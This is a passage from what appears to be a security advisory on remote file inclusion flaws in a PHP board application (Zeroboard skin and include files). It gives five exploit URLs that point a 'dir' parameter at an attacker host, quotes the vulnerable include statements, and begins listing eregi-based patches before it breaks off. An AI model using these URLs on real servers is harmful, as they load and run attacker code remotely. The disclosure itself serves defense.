    http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
    http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/

    The following vulnerable code can be found in include/print_category.php:
    include "$dir/category_head.php";

    The following vulnerable code can be found in skin/zero_vote/login.php,
    skin/zero_vote/setup.php and /zero_vote/setup.php:
    <? include "$dir/value.php3"; ?>

    Modify the 50th line of outlogin.php as following:
    if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";

    Insert the following code at the 3rd line of include/print_category.php,
    if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";

    Modify the 1st line of skin/zero_vote/login.php, the 42nd line of
